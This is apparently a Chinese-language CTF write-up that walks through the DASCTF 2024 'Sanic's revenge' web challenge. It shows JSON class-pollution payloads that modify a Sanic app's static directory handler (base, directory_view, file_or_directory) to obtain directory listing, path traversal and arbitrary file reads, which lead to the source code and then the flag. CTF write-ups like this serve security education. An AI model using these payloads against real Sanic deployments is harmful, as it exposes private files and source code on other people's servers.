DASCTF 2024暑期挑战赛-Sanic's revenge复现
Sanic’s revenge
分析
当在地址栏访问存在的目录时(否则直接404),会触发handle函数
1 | async def handle(self, request: Request, path: str): |
在handle中,directory_view为true 可列目录时,会进入_index函数
1 | if self.directory_view: |
跟进_index函数发现主要就是在对传入的路径进行页面渲染,
目光返回handle函数,这里做了一个拼接 self.directory / current
,并传给_index函数作为路径
而这里的路径决定了最终列目录页面呈现的是哪里的路径
虽然parts被过滤了无法直接污染directory
,但current
还是有可操作性的
1 | current = path.strip("/")[len(self.base) :].strip("/") # current去掉两头的‘/’,从base开始截取 |
current 与 path和base有关
path是请求传入的,可控
base是字符串属性,可以直接污染
这样的话current就是完全可控的,我们就可以在不污染directory的情况下、通过目录穿越实现任意列目录了
current从base开始截取,因此将base污染为“static/test”,current就可以截成“..”
此时只需要保证当前目录下有一个“test..”目录,访问“/static/test..”即可实现目录穿越
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value":"static/test"} |
但是注意有一个前提是当前目录下存在一个名字是“xxx..”的目录,否则会直接返回404(属实有些抽象
解题
基本情况是:源码不完整、过滤parts
不能污染directory
、存在一个奇奇怪怪的日志文件目录(提供了xxx..
)
但directory_view
和file_or_directory
仍可以污染
可以实现列目录(static
),可以获取任意文件(已知文件名的前提下)
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value":"True"} # directory_view |
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value":"/"} # file_or_directory |
在根目录下找些文件
1 | /proc/1/cmdline |
拿到源码
发现adminLook路由下可以查看日志文件目录,随意触发一次恶意请求
拿到目标目录名
据此污染base,即可列出上级目录
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value":"static/tmp/F97b6P"} # base |
根据hint,flag在app目录下
1 | http://5b178c18-882c-4342-8476-2381c6e5187d.node5.buuoj.cn:81/static/app/45W698WqtsgQT1_flag |
- Title: DASCTF 2024暑期挑战赛-Sanic's revenge复现
- Author: dawn_r1sing
- Created at : 2024-07-22 18:47:05
- Updated at : 2024-07-22 18:54:08
- Link: https://dawnrisingdong.github.io/2024/07/22/DASCTF-2024暑期挑战赛-Sanic-s-revenge复现/
- License: This work is licensed under CC BY-NC-SA 4.0.